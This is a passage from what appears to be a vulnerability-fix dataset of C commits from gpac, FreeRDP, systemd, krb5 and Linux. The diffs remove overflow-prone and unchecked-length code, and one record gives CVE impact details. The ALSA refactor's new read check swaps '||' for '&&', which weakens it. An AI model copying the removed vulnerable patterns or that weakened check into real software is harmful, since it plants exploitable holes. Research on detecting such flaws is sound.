BUFFER_FNS(Escaped, escaped)\n TAS_BUFFER_FNS(Escaped, escaped)\n+BUFFER_FNS(Zeronew, zeronew)\n+TAS_BUFFER_FNS(Zeronew, zeronew)\n \n struct gfs2_bufdata {\n \tstruct buffer_head *bd_bh;", "sections": [{"section": "@@ -103,12 +103,15 @@ struct gfs2_rgrpd {\n enum gfs2_state_bits {\n \tBH_Pinned = BH_PrivateStart,\n \tBH_Escaped = BH_PrivateStart + 1,\n+\tBH_Zeronew = BH_PrivateStart + 2,\n };\n \n BUFFER_FNS(Pinned, pinned)\n TAS_BUFFER_FNS(Pinned, pinned)\n BUFFER_FNS(Escaped, escaped)\n TAS_BUFFER_FNS(Escaped, escaped)\n+BUFFER_FNS(Zeronew, zeronew)\n+TAS_BUFFER_FNS(Zeronew, zeronew)\n \n struct gfs2_bufdata {\n \tstruct buffer_head *bd_bh;", "related": false}]} +{"owner": "gpac", "repo": "gpac", "language": "C", "file_name": "src/laser/lsr_dec.c", "commit_id": "b3d821c4ae9ba62b3a194d9dcb5e99f17bd56908", "commit_message": "fixed #2333", "patch": "@@ -300,11 +300,21 @@ static void lsr_read_extension(GF_LASeRCodec *lsr, const char *name)\n \n static void lsr_read_extend_class(GF_LASeRCodec *lsr, char **out_data, u32 *out_len, const char *name)\n {\n-\tu32 len;\n+\tu32 len, blen;\n \tGF_LSR_READ_INT(lsr, len, lsr->info->cfg.extensionIDBits, \"reserved\");\n \tlen = lsr_read_vluimsbf5(lsr, \"len\");\n-//\twhile (len) gf_bs_read_int(lsr->bs, 1);\n-\tgf_bs_read_long_int(lsr->bs, len);\n+\twhile (len && !gf_bs_is_align(lsr->bs)) {\n+\t\tgf_bs_read_int(lsr->bs, len);\n+\t\tlen--;\n+\t}\n+\tblen = len / 8;\n+\tgf_bs_skip_bytes(lsr->bs, blen);\n+\tlen -= blen*8;\n+\n+\twhile (len) {\n+\t\tgf_bs_read_int(lsr->bs, 1);\n+\t\tlen--;\n+\t}\n \tif (out_data) *out_data = NULL;\n \tif (out_len) *out_len = 0;\n }\n@@ -839,10 +849,11 @@ static void lsr_read_id(GF_LASeRCodec *lsr, GF_Node *n)\n static Fixed lsr_translate_coords(GF_LASeRCodec *lsr, u32 val, u32 nb_bits)\n {\n \tif (!nb_bits) return 0;\n-\t\n+\tif (nb_bits>=32) return 0;\n+\n #ifdef GPAC_FIXED_POINT\n \tif (val >> (nb_bits-1) ) {\n-\t\ts32 neg = (s32) val - (1<res_factor);\n \t\treturn gf_divfix(INT2FIX(neg), lsr->res_factor);\n@@ -853,18 +864,18 @@ static Fixed lsr_translate_coords(GF_LASeRCodec *lsr, u32 val, u32 nb_bits)\n \t}\n #else\n \tif (val >> (nb_bits-1) ) {\n-\t\ts32 neg = (s32) val - (1<res_factor);\n+\t\ts64 neg = (s64) val - (0x00000001UL << nb_bits);\n+\t\treturn ((Fixed)neg) / lsr->res_factor;\n \t} else {\n-\t\treturn gf_divfix(INT2FIX(val), lsr->res_factor);\n+\t\treturn ((Fixed)val) / lsr->res_factor;\n \t}\n #endif\n }\n \n static Fixed lsr_translate_scale(GF_LASeRCodec *lsr, u32 val)\n {\n \tif (val >> (lsr->coord_bits-1) ) {\n-\t\ts32 v = val - (1<coord_bits);\n+\t\ts64 v = val - (0x00000001UL << lsr->coord_bits);\n \t\treturn INT2FIX(v) / 256 ;\n \t} else {\n \t\treturn INT2FIX(val) / 256;", "sections": [{"section": "@@ -300,11 +300,21 @@ static void lsr_read_extension(GF_LASeRCodec *lsr, const char *name)\n \n static void lsr_read_extend_class(GF_LASeRCodec *lsr, char **out_data, u32 *out_len, const char *name)\n {\n-\tu32 len;\n+\tu32 len, blen;\n \tGF_LSR_READ_INT(lsr, len, lsr->info->cfg.extensionIDBits, \"reserved\");\n \tlen = lsr_read_vluimsbf5(lsr, \"len\");\n-//\twhile (len) gf_bs_read_int(lsr->bs, 1);\n-\tgf_bs_read_long_int(lsr->bs, len);\n+\twhile (len && !gf_bs_is_align(lsr->bs)) {\n+\t\tgf_bs_read_int(lsr->bs, len);\n+\t\tlen--;\n+\t}\n+\tblen = len / 8;\n+\tgf_bs_skip_bytes(lsr->bs, blen);\n+\tlen -= blen*8;\n+\n+\twhile (len) {\n+\t\tgf_bs_read_int(lsr->bs, 1);\n+\t\tlen--;\n+\t}\n \tif (out_data) *out_data = NULL;\n \tif (out_len) *out_len = 0;\n }\n", "related": false}, {"section": "@@ -839,10 +849,11 @@ static void lsr_read_id(GF_LASeRCodec *lsr, GF_Node *n)\n static Fixed lsr_translate_coords(GF_LASeRCodec *lsr, u32 val, u32 nb_bits)\n {\n \tif (!nb_bits) return 0;\n-\t\n+\tif (nb_bits>=32) return 0;\n+\n #ifdef GPAC_FIXED_POINT\n \tif (val >> (nb_bits-1) ) {\n-\t\ts32 neg = (s32) val - (1<res_factor);\n \t\treturn gf_divfix(INT2FIX(neg), lsr->res_factor);\n", "related": false}, {"section": "@@ -853,18 +864,18 @@ static Fixed lsr_translate_coords(GF_LASeRCodec *lsr, u32 val, u32 nb_bits)\n \t}\n #else\n \tif (val >> (nb_bits-1) ) {\n-\t\ts32 neg = (s32) val - (1<res_factor);\n+\t\ts64 neg = (s64) val - (0x00000001UL << nb_bits);\n+\t\treturn ((Fixed)neg) / lsr->res_factor;\n \t} else {\n-\t\treturn gf_divfix(INT2FIX(val), lsr->res_factor);\n+\t\treturn ((Fixed)val) / lsr->res_factor;\n \t}\n #endif\n }\n \n static Fixed lsr_translate_scale(GF_LASeRCodec *lsr, u32 val)\n {\n \tif (val >> (lsr->coord_bits-1) ) {\n-\t\ts32 v = val - (1<coord_bits);\n+\t\ts64 v = val - (0x00000001UL << lsr->coord_bits);\n \t\treturn INT2FIX(v) / 256 ;\n \t} else {\n \t\treturn INT2FIX(val) / 256;", "related": false}]} +{"owner": "freerdp", "repo": "freerdp", "language": "C", "file_name": "channels/urbdrc/client/data_transfer.c", "commit_id": "11555828d2cf289b350baba5ad1f462f10b80b76", "commit_message": "Fixed missing input buffer length check in urbdrc\n\n(cherry picked from commit 497df00f741dd4fc89292aaef2db7368aee45d0d)", "patch": "@@ -247,6 +247,10 @@ static UINT urbdrc_process_io_control(IUDEVICE* pdev, URBDRC_CHANNEL_CALLBACK* c\n \n \tStream_Read_UINT32(s, OutputBufferSize);\n \tStream_Read_UINT32(s, RequestId);\n+\n+\tif (OutputBufferSize > UINT32_MAX - 4)\n+\t\treturn ERROR_INVALID_DATA;\n+\n \tInterfaceId = ((STREAM_ID_PROXY << 30) | pdev->get_ReqCompletion(pdev));\n \tout = urb_create_iocompletion(InterfaceId, MessageId, RequestId, OutputBufferSize + 4);\n \n@@ -726,6 +730,15 @@ static UINT urb_bulk_or_interrupt_transfer(IUDEVICE* pdev, URBDRC_CHANNEL_CALLBA\n \tStream_Read_UINT32(s, TransferFlags); /** TransferFlags */\n \tStream_Read_UINT32(s, OutputBufferSize);\n \tEndpointAddress = (PipeHandle & 0x000000ff);\n+\n+\tif (transferDir == USBD_TRANSFER_DIRECTION_OUT)\n+\t{\n+\t\tif (!Stream_CheckAndLogRequiredLength(TAG, s, OutputBufferSize))\n+\t\t{\n+\t\t\treturn ERROR_INVALID_DATA;\n+\t\t}\n+\t}\n+\n \t/** process TS_URB_BULK_OR_INTERRUPT_TRANSFER */\n \treturn pdev->bulk_or_interrupt_transfer(\n \t pdev, callback, MessageId, RequestId, EndpointAddress, TransferFlags, noAck,\n@@ -810,6 +823,13 @@ static UINT urb_isoch_transfer(IUDEVICE* pdev, URBDRC_CHANNEL_CALLBACK* callback\n \tpacketDescriptorData = Stream_Pointer(s);\n \tStream_Seek(s, NumberOfPackets * 12);\n \tStream_Read_UINT32(s, OutputBufferSize);\n+\n+\tif (transferDir == USBD_TRANSFER_DIRECTION_OUT)\n+\t{\n+\t\tif (!Stream_CheckAndLogRequiredLength(TAG, s, OutputBufferSize))\n+\t\t\treturn ERROR_INVALID_DATA;\n+\t}\n+\n \treturn pdev->isoch_transfer(\n \t pdev, callback, MessageId, RequestId, EndpointAddress, TransferFlags, StartFrame,\n \t ErrorCount, noAck, packetDescriptorData, NumberOfPackets, OutputBufferSize,", "sections": [{"section": "@@ -247,6 +247,10 @@ static UINT urbdrc_process_io_control(IUDEVICE* pdev, URBDRC_CHANNEL_CALLBACK* c\n \n \tStream_Read_UINT32(s, OutputBufferSize);\n \tStream_Read_UINT32(s, RequestId);\n+\n+\tif (OutputBufferSize > UINT32_MAX - 4)\n+\t\treturn ERROR_INVALID_DATA;\n+\n \tInterfaceId = ((STREAM_ID_PROXY << 30) | pdev->get_ReqCompletion(pdev));\n \tout = urb_create_iocompletion(InterfaceId, MessageId, RequestId, OutputBufferSize + 4);\n \n", "related": false}, {"section": "@@ -726,6 +730,15 @@ static UINT urb_bulk_or_interrupt_transfer(IUDEVICE* pdev, URBDRC_CHANNEL_CALLBA\n \tStream_Read_UINT32(s, TransferFlags); /** TransferFlags */\n \tStream_Read_UINT32(s, OutputBufferSize);\n \tEndpointAddress = (PipeHandle & 0x000000ff);\n+\n+\tif (transferDir == USBD_TRANSFER_DIRECTION_OUT)\n+\t{\n+\t\tif (!Stream_CheckAndLogRequiredLength(TAG, s, OutputBufferSize))\n+\t\t{\n+\t\t\treturn ERROR_INVALID_DATA;\n+\t\t}\n+\t}\n+\n \t/** process TS_URB_BULK_OR_INTERRUPT_TRANSFER */\n \treturn pdev->bulk_or_interrupt_transfer(\n \t pdev, callback, MessageId, RequestId, EndpointAddress, TransferFlags, noAck,\n", "related": false}, {"section": "@@ -810,6 +823,13 @@ static UINT urb_isoch_transfer(IUDEVICE* pdev, URBDRC_CHANNEL_CALLBACK* callback\n \tpacketDescriptorData = Stream_Pointer(s);\n \tStream_Seek(s, NumberOfPackets * 12);\n \tStream_Read_UINT32(s, OutputBufferSize);\n+\n+\tif (transferDir == USBD_TRANSFER_DIRECTION_OUT)\n+\t{\n+\t\tif (!Stream_CheckAndLogRequiredLength(TAG, s, OutputBufferSize))\n+\t\t\treturn ERROR_INVALID_DATA;\n+\t}\n+\n \treturn pdev->isoch_transfer(\n \t pdev, callback, MessageId, RequestId, EndpointAddress, TransferFlags, StartFrame,\n \t ErrorCount, noAck, packetDescriptorData, NumberOfPackets, OutputBufferSize,", "related": false}]} +{"owner": "systemd", "repo": "systemd", "language": "C", "file_name": "src/basic/time-util.c", "commit_id": "9102c625a673a3246d7e73d8737f3494446bad4e", "commit_message": "time-util: fix buffer-over-run\n\nFixes #23928.", "patch": "@@ -591,7 +591,7 @@ char *format_timespan(char *buf, size_t l, usec_t t, usec_t accuracy) {\n t = b;\n }\n \n- n = MIN((size_t) k, l);\n+ n = MIN((size_t) k, l-1);\n \n l -= n;\n p += n;", "sections": [{"section": "@@ -591,7 +591,7 @@ char *format_timespan(char *buf, size_t l, usec_t t, usec_t accuracy) {\n t = b;\n }\n \n- n = MIN((size_t) k, l);\n+ n = MIN((size_t) k, l-1);\n \n l -= n;\n p += n;", "related": false}]} +{"owner": "krb5", "repo": "krb5", "language": "C", "file_name": "src/lib/krb5/krb/pac.c", "commit_id": "ea92d2f0fcceb54a70910fa32e9a0d7a5afc3583", "commit_message": "Fix integer overflows in PAC parsing\n\nIn krb5_parse_pac(), check for buffer counts large enough to threaten\ninteger overflow in the header length and memory length calculations.\nAvoid potential integer overflows when checking the length of each\nbuffer. Credit to OSS-Fuzz for discovering one of the issues.\n\nCVE-2022-42898:\n\nIn MIT krb5 releases 1.8 and later, an authenticated attacker may be\nable to cause a KDC or kadmind process to crash by reading beyond the\nbounds of allocated memory, creating a denial of service. A\nprivileged attacker may similarly be able to cause a Kerberos or GSS\napplication service to crash. On 32-bit platforms, an attacker can\nalso cause insufficient memory to be allocated for the result,\npotentially leading to remote code execution in a KDC, kadmind, or GSS\nor Kerberos application server process. An attacker with the\nprivileges of a cross-realm KDC may be able to extract secrets from a\nKDC process's memory by having them copied into the PAC of a new\nticket.\n\nticket: 9074 (new)\ntags: pullup\ntarget_version: 1.20-next\ntarget_version: 1.19-next", "patch": "@@ -28,6 +28,8 @@\n #include \"int-proto.h\"\n #include \"authdata.h\"\n \n+#define MAX_BUFFERS 4096\n+\n /* draft-brezak-win2k-krb-authz-00 */\n \n /*\n@@ -317,6 +319,9 @@ krb5_pac_parse(krb5_context context,\n if (version != 0)\n return EINVAL;\n \n+ if (cbuffers < 1 || cbuffers > MAX_BUFFERS)\n+ return ERANGE;\n+\n header_len = PACTYPE_LENGTH + (cbuffers * PAC_INFO_BUFFER_LENGTH);\n if (len < header_len)\n return ERANGE;\n@@ -349,8 +354,8 @@ krb5_pac_parse(krb5_context context,\n krb5_pac_free(context, pac);\n return EINVAL;\n }\n- if (buffer->Offset < header_len ||\n- buffer->Offset + buffer->cbBufferSize > len) {\n+ if (buffer->Offset < header_len || buffer->Offset > len ||\n+ buffer->cbBufferSize > len - buffer->Offset) {\n krb5_pac_free(context, pac);\n return ERANGE;\n }", "sections": [{"section": "@@ -28,6 +28,8 @@\n #include \"int-proto.h\"\n #include \"authdata.h\"\n \n+#define MAX_BUFFERS 4096\n+\n /* draft-brezak-win2k-krb-authz-00 */\n \n /*\n", "related": false}, {"section": "@@ -317,6 +319,9 @@ krb5_pac_parse(krb5_context context,\n if (version != 0)\n return EINVAL;\n \n+ if (cbuffers < 1 || cbuffers > MAX_BUFFERS)\n+ return ERANGE;\n+\n header_len = PACTYPE_LENGTH + (cbuffers * PAC_INFO_BUFFER_LENGTH);\n if (len < header_len)\n return ERANGE;\n", "related": false}, {"section": "@@ -349,8 +354,8 @@ krb5_pac_parse(krb5_context context,\n krb5_pac_free(context, pac);\n return EINVAL;\n }\n- if (buffer->Offset < header_len ||\n- buffer->Offset + buffer->cbBufferSize > len) {\n+ if (buffer->Offset < header_len || buffer->Offset > len ||\n+ buffer->cbBufferSize > len - buffer->Offset) {\n krb5_pac_free(context, pac);\n return ERANGE;\n }", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "fs/ksmbd/smb2misc.c", "commit_id": "824d4f64c20093275f72fc8101394d75ff6a249e", "commit_message": "ksmbd: prevent out of bound read for SMB2_TREE_CONNNECT\n\nif Status is not 0 and PathLength is long,\nsmb_strndup_from_utf16 could make out of bound\nread in smb2_tree_connnect.\n\nThis bug can lead an oops looking something like:\n\n[ 1553.882047] BUG: KASAN: slab-out-of-bounds in smb_strndup_from_utf16+0x469/0x4c0 [ksmbd]\n[ 1553.882064] Read of size 2 at addr ffff88802c4eda04 by task kworker/0:2/42805\n...\n[ 1553.882095] Call Trace:\n[ 1553.882098] \n[ 1553.882101] dump_stack_lvl+0x49/0x5f\n[ 1553.882107] print_report.cold+0x5e/0x5cf\n[ 1553.882112] ? smb_strndup_from_utf16+0x469/0x4c0 [ksmbd]\n[ 1553.882122] kasan_report+0xaa/0x120\n[ 1553.882128] ? smb_strndup_from_utf16+0x469/0x4c0 [ksmbd]\n[ 1553.882139] __asan_report_load_n_noabort+0xf/0x20\n[ 1553.882143] smb_strndup_from_utf16+0x469/0x4c0 [ksmbd]\n[ 1553.882155] ? smb_strtoUTF16+0x3b0/0x3b0 [ksmbd]\n[ 1553.882166] ? __kmalloc_node+0x185/0x430\n[ 1553.882171] smb2_tree_connect+0x140/0xab0 [ksmbd]\n[ 1553.882185] handle_ksmbd_work+0x30e/0x1020 [ksmbd]\n[ 1553.882197] process_one_work+0x778/0x11c0\n[ 1553.882201] ? _raw_spin_lock_irq+0x8e/0xe0\n[ 1553.882206] worker_thread+0x544/0x1180\n[ 1553.882209] ? __cpuidle_text_end+0x4/0x4\n[ 1553.882214] kthread+0x282/0x320\n[ 1553.882218] ? process_one_work+0x11c0/0x11c0\n[ 1553.882221] ? kthread_complete_and_exit+0x30/0x30\n[ 1553.882225] ret_from_fork+0x1f/0x30\n[ 1553.882231] \n\nThere is no need to check error request validation in server.\nThis check allow invalid requests not to validate message.\n\nFixes: e2f34481b24d (\"cifsd: add server-side procedures for SMB3\")\nCc: stable@vger.kernel.org\nReported-by: zdi-disclosures@trendmicro.com # ZDI-CAN-17818\nSigned-off-by: Hyunchul Lee \nAcked-by: Namjae Jeon \nSigned-off-by: Steve French ", "patch": "@@ -90,11 +90,6 @@ static int smb2_get_data_area_len(unsigned int *off, unsigned int *len,\n \t*off = 0;\n \t*len = 0;\n \n-\t/* error reqeusts do not have data area */\n-\tif (hdr->Status && hdr->Status != STATUS_MORE_PROCESSING_REQUIRED &&\n-\t (((struct smb2_err_rsp *)hdr)->StructureSize) == SMB2_ERROR_STRUCTURE_SIZE2_LE)\n-\t\treturn ret;\n-\n \t/*\n \t * Following commands have data areas so we have to get the location\n \t * of the data buffer offset and data buffer length for the particular", "sections": [{"section": "@@ -90,11 +90,6 @@ static int smb2_get_data_area_len(unsigned int *off, unsigned int *len,\n \t*off = 0;\n \t*len = 0;\n \n-\t/* error reqeusts do not have data area */\n-\tif (hdr->Status && hdr->Status != STATUS_MORE_PROCESSING_REQUIRED &&\n-\t (((struct smb2_err_rsp *)hdr)->StructureSize) == SMB2_ERROR_STRUCTURE_SIZE2_LE)\n-\t\treturn ret;\n-\n \t/*\n \t * Following commands have data areas so we have to get the location\n \t * of the data buffer offset and data buffer length for the particular", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/net/wireless/microchip/wilc1000/cfg80211.c", "commit_id": "0cdfa9e6f0915e3d243e2393bfa8a22e12d553b0", "commit_message": "wifi: wilc1000: validate number of channels\n\nThere is no validation of 'e->no_of_channels' which can trigger an\nout-of-bounds write in the following 'memset' call. Validate that the\nnumber of channels does not extends beyond the size of the channel list\nelement.\n\nSigned-off-by: Phil Turnbull \nTested-by: Ajay Kathat \nAcked-by: Ajay Kathat \nSigned-off-by: Kalle Valo \nLink: https://lore.kernel.org/r/20221123153543.8568-5-philipturnbull@github.com", "patch": "@@ -981,19 +981,29 @@ static inline void wilc_wfi_cfg_parse_ch_attr(u8 *buf, u32 len, u8 sta_ch)\n \t}\n \n \tif (ch_list_idx) {\n-\t\tu16 attr_size;\n-\t\tstruct wilc_ch_list_elem *e;\n-\t\tint i;\n+\t\tu16 elem_size;\n \n \t\tch_list = (struct wilc_attr_ch_list *)&buf[ch_list_idx];\n-\t\tattr_size = le16_to_cpu(ch_list->attr_len);\n-\t\tfor (i = 0; i < attr_size;) {\n+\t\t/* the number of bytes following the final 'elem' member */\n+\t\telem_size = le16_to_cpu(ch_list->attr_len) -\n+\t\t\t(sizeof(*ch_list) - sizeof(struct wilc_attr_entry));\n+\t\tfor (unsigned int i = 0; i < elem_size;) {\n+\t\t\tstruct wilc_ch_list_elem *e;\n+\n \t\t\te = (struct wilc_ch_list_elem *)(ch_list->elem + i);\n+\n+\t\t\ti += sizeof(*e);\n+\t\t\tif (i > elem_size)\n+\t\t\t\tbreak;\n+\n+\t\t\ti += e->no_of_channels;\n+\t\t\tif (i > elem_size)\n+\t\t\t\tbreak;\n+\n \t\t\tif (e->op_class == WILC_WLAN_OPERATING_CLASS_2_4GHZ) {\n \t\t\t\tmemset(e->ch_list, sta_ch, e->no_of_channels);\n \t\t\t\tbreak;\n \t\t\t}\n-\t\t\ti += e->no_of_channels;\n \t\t}\n \t}\n ", "sections": [{"section": "@@ -981,19 +981,29 @@ static inline void wilc_wfi_cfg_parse_ch_attr(u8 *buf, u32 len, u8 sta_ch)\n \t}\n \n \tif (ch_list_idx) {\n-\t\tu16 attr_size;\n-\t\tstruct wilc_ch_list_elem *e;\n-\t\tint i;\n+\t\tu16 elem_size;\n \n \t\tch_list = (struct wilc_attr_ch_list *)&buf[ch_list_idx];\n-\t\tattr_size = le16_to_cpu(ch_list->attr_len);\n-\t\tfor (i = 0; i < attr_size;) {\n+\t\t/* the number of bytes following the final 'elem' member */\n+\t\telem_size = le16_to_cpu(ch_list->attr_len) -\n+\t\t\t(sizeof(*ch_list) - sizeof(struct wilc_attr_entry));\n+\t\tfor (unsigned int i = 0; i < elem_size;) {\n+\t\t\tstruct wilc_ch_list_elem *e;\n+\n \t\t\te = (struct wilc_ch_list_elem *)(ch_list->elem + i);\n+\n+\t\t\ti += sizeof(*e);\n+\t\t\tif (i > elem_size)\n+\t\t\t\tbreak;\n+\n+\t\t\ti += e->no_of_channels;\n+\t\t\tif (i > elem_size)\n+\t\t\t\tbreak;\n+\n \t\t\tif (e->op_class == WILC_WLAN_OPERATING_CLASS_2_4GHZ) {\n \t\t\t\tmemset(e->ch_list, sta_ch, e->no_of_channels);\n \t\t\t\tbreak;\n \t\t\t}\n-\t\t\ti += e->no_of_channels;\n \t\t}\n \t}\n ", "related": true}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "sound/core/control.c", "commit_id": "becf9e5d553c2389d857a3c178ce80fdb34a02e1", "commit_message": "ALSA: control: code refactoring for ELEM_READ/ELEM_WRITE operations\n\nALSA control core handles ELEM_READ/ELEM_WRITE requests within lock\nacquisition of a counting semaphore. The lock is acquired in helper\nfunctions in the end of call path before calling implementations of each\ndriver.\n\nioctl(2) with SNDRV_CTL_ELEM_READ\n...\n->snd_ctl_ioctl()\n ->snd_ctl_elem_read_user()\n ->snd_ctl_elem_read()\n ->down_read(controls_rwsem)\n ->snd_ctl_find_id()\n ->struct snd_kcontrol.get()\n ->up_read(controls_rwsem)\n\nioctl(2) with SNDRV_CTL_ELEM_WRITE\n...\n->snd_ctl_ioctl()\n ->snd_ctl_elem_write_user()\n ->snd_ctl_elem_write()\n ->down_read(controls_rwsem)\n ->snd_ctl_find_id()\n ->struct snd_kcontrol.put()\n ->up_read(controls_rwsem)\n\nThis commit moves the lock acquisition to middle of the call graph to\nsimplify the helper functions. As a result:\n\nioctl(2) with SNDRV_CTL_ELEM_READ\n...\n->snd_ctl_ioctl()\n ->snd_ctl_elem_read_user()\n ->down_read(controls_rwsem)\n ->snd_ctl_elem_read()\n ->snd_ctl_find_id()\n ->struct snd_kcontrol.get()\n ->up_read(controls_rwsem)\n\nioctl(2) with SNDRV_CTL_ELEM_WRITE\n...\n->snd_ctl_ioctl()\n ->snd_ctl_elem_write_user()\n ->down_read(controls_rwsem)\n ->snd_ctl_elem_write()\n ->snd_ctl_find_id()\n ->struct snd_kcontrol.put()\n ->up_read(controls_rwsem)\n\nSigned-off-by: Takashi Sakamoto \nSigned-off-by: Takashi Iwai ", "patch": "@@ -881,24 +881,18 @@ static int snd_ctl_elem_read(struct snd_card *card,\n \tstruct snd_kcontrol *kctl;\n \tstruct snd_kcontrol_volatile *vd;\n \tunsigned int index_offset;\n-\tint result;\n \n-\tdown_read(&card->controls_rwsem);\n \tkctl = snd_ctl_find_id(card, &control->id);\n-\tif (kctl == NULL) {\n-\t\tresult = -ENOENT;\n-\t} else {\n-\t\tindex_offset = snd_ctl_get_ioff(kctl, &control->id);\n-\t\tvd = &kctl->vd[index_offset];\n-\t\tif ((vd->access & SNDRV_CTL_ELEM_ACCESS_READ) &&\n-\t\t kctl->get != NULL) {\n-\t\t\tsnd_ctl_build_ioff(&control->id, kctl, index_offset);\n-\t\t\tresult = kctl->get(kctl, control);\n-\t\t} else\n-\t\t\tresult = -EPERM;\n-\t}\n-\tup_read(&card->controls_rwsem);\n-\treturn result;\n+\tif (kctl == NULL)\n+\t\treturn -ENOENT;\n+\n+\tindex_offset = snd_ctl_get_ioff(kctl, &control->id);\n+\tvd = &kctl->vd[index_offset];\n+\tif (!(vd->access & SNDRV_CTL_ELEM_ACCESS_READ) && kctl->get == NULL)\n+\t\treturn -EPERM;\n+\n+\tsnd_ctl_build_ioff(&control->id, kctl, index_offset);\n+\treturn kctl->get(kctl, control);\n }\n \n static int snd_ctl_elem_read_user(struct snd_card *card,\n@@ -913,8 +907,11 @@ static int snd_ctl_elem_read_user(struct snd_card *card,\n \n \tsnd_power_lock(card);\n \tresult = snd_power_wait(card, SNDRV_CTL_POWER_D0);\n-\tif (result >= 0)\n+\tif (result >= 0) {\n+\t\tdown_read(&card->controls_rwsem);\n \t\tresult = snd_ctl_elem_read(card, control);\n+\t\tup_read(&card->controls_rwsem);\n+\t}\n \tsnd_power_unlock(card);\n \tif (result >= 0)\n \t\tif (copy_to_user(_control, control, sizeof(*control)))\n@@ -931,29 +928,28 @@ static int snd_ctl_elem_write(struct snd_card *card, struct snd_ctl_file *file,\n \tunsigned int index_offset;\n \tint result;\n \n-\tdown_read(&card->controls_rwsem);\n \tkctl = snd_ctl_find_id(card, &control->id);\n-\tif (kctl == NULL) {\n-\t\tresult = -ENOENT;\n-\t} else {\n-\t\tindex_offset = snd_ctl_get_ioff(kctl, &control->id);\n-\t\tvd = &kctl->vd[index_offset];\n-\t\tif (!(vd->access & SNDRV_CTL_ELEM_ACCESS_WRITE) ||\n-\t\t kctl->put == NULL ||\n-\t\t (file && vd->owner && vd->owner != file)) {\n-\t\t\tresult = -EPERM;\n-\t\t} else {\n-\t\t\tsnd_ctl_build_ioff(&control->id, kctl, index_offset);\n-\t\t\tresult = kctl->put(kctl, control);\n-\t\t}\n-\t\tif (result > 0) {\n-\t\t\tstruct snd_ctl_elem_id id = control->id;\n-\t\t\tsnd_ctl_notify(card, SNDRV_CTL_EVENT_MASK_VALUE, &id);\n-\t\t\tresult = 0;\n-\t\t}\n+\tif (kctl == NULL)\n+\t\treturn -ENOENT;\n+\n+\tindex_offset = snd_ctl_get_ioff(kctl, &control->id);\n+\tvd = &kctl->vd[index_offset];\n+\tif (!(vd->access & SNDRV_CTL_ELEM_ACCESS_WRITE) || kctl->put == NULL ||\n+\t (file && vd->owner && vd->owner != file)) {\n+\t\treturn -EPERM;\n \t}\n-\tup_read(&card->controls_rwsem);\n-\treturn result;\n+\n+\tsnd_ctl_build_ioff(&control->id, kctl, index_offset);\n+\tresult = kctl->put(kctl, control);\n+\tif (result < 0)\n+\t\treturn result;\n+\n+\tif (result > 0) {\n+\t\tstruct snd_ctl_elem_id id = control->id;\n+\t\tsnd_ctl_notify(card, SNDRV_CTL_EVENT_MASK_VALUE, &id);\n+\t}\n+\n+\treturn 0;\n }\n \n static int snd_ctl_elem_write_user(struct snd_ctl_file *file,\n@@ -970,8 +966,11 @@ static int snd_ctl_elem_write_user(struct snd_ctl_file *file,\n \tcard = file->card;\n \tsnd_power_lock(card);\n \tresult = snd_power_wait(card, SNDRV_CTL_POWER_D0);\n-\tif (result >= 0)\n+\tif (result >= 0) {\n+\t\tdown_read(&card->controls_rwsem);\n \t\tresult = snd_ctl_elem_write(card, file, control);\n+\t\tup_read(&card->controls_rwsem);\n+\t}\n \tsnd_power_unlock(card);\n \tif (result >= 0)\n \t\tif (copy_to_user(_control, control, sizeof(*control)))", "sections": [{"section": "@@ -881,24 +881,18 @@ static int snd_ctl_elem_read(struct snd_card *card,\n \tstruct snd_kcontrol *kctl;\n \tstruct snd_kcontrol_volatile *vd;\n \tunsigned int index_offset;\n-\tint result;\n \n-\tdown_read(&card->controls_rwsem);\n \tkctl = snd_ctl_find_id(card, &control->id);\n-\tif (kctl == NULL) {\n-\t\tresult = -ENOENT;\n-\t} else {\n-\t\tindex_offset = snd_ctl_get_ioff(kctl, &control->id);\n-\t\tvd = &kctl->vd[index_offset];\n-\t\tif ((vd->access & SNDRV_CTL_ELEM_ACCESS_READ) &&\n-\t\t kctl->get != NULL) {\n-\t\t\tsnd_ctl_build_ioff(&control->id, kctl, index_offset);\n-\t\t\tresult = kctl->get(kctl, control);\n-\t\t} else\n-\t\t\tresult = -EPERM;\n-\t}\n-\tup_read(&card->controls_rwsem);\n-\treturn result;\n+\tif (kctl == NULL)\n+\t\treturn -ENOENT;\n+\n+\tindex_offset = snd_ctl_get_ioff(kctl, &control->id);\n+\tvd = &kctl->vd[index_offset];\n+\tif (!(vd->access & SNDRV_CTL_ELEM_ACCESS_READ) && kctl->get == NULL)\n+\t\treturn -EPERM;\n+\n+\tsnd_ctl_build_ioff(&control->id, kctl, index_offset);\n+\treturn kctl->get(kctl, control);\n }\n \n static int snd_ctl_elem_read_user(struct snd_card *card,\n", "related": false}, {"section": "@@ -913,8 +907,11 @@ static int snd_ctl_elem_read_user(struct snd_card *card,\n \n \tsnd_power_lock(card);\n \tresult = snd_power_wait(card, SNDRV_CTL_POWER_D0);\n-\tif (result >= 0)\n+\tif (result >= 0) {\n+\t\tdown_read(&card->controls_rwsem);\n \t\tresult = snd_ctl_elem_read(card, control);\n+\t\tup_read(&card->controls_rwsem);\n+\t}\n \tsnd_power_unlock(card);\n \tif (result >= 0)\n \t\tif (copy_to_user(_control, control, sizeof(*control)))\n", "related": false}, {"section": "@@ -931,29 +928,28 @@ static int snd_ctl_elem_write(struct snd_card *card, struct snd_ctl_file *file,\n \tunsigned int index_offset;\n \tint result;\n \n-\tdown_read(&card->controls_rwsem);\n \tkctl = snd_ctl_find_id(card, &control->id);\n-\tif (kctl == NULL) {\n-\t\tresult = -ENOENT;\n-\t} else {\n-\t\tindex_offset = snd_ctl_get_ioff(kctl, &control->id);\n-\t\tvd = &kctl->vd[index_offset];\n-\t\tif (!(vd->access & SNDRV_CTL_ELEM_ACCESS_WRITE) ||\n-\t\t kctl->put == NULL ||\n-\t\t (file && vd->owner && vd->owner != file)) {\n-\t\t\tresult = -EPERM;\n-\t\t} else {\n-\t\t\tsnd_ctl_build_ioff(&control->id, kctl, index_offset);\n-\t\t\tresult = kctl->put(kctl, control);\n-\t\t}\n-\t\tif (result > 0) {\n-\t\t\tstruct snd_ctl_elem_id id = control->id;\n-\t\t\tsnd_ctl_notify(card, SNDRV_CTL_EVENT_MASK_VALUE, &id);\n-\t\t\tresult = 0;\n-\t\t}\n+\tif (kctl == NULL)\n+\t\treturn -ENOENT;\n+\n+\tindex_offset = snd_ctl_get_ioff(kctl, &control->id);\n+\tvd = 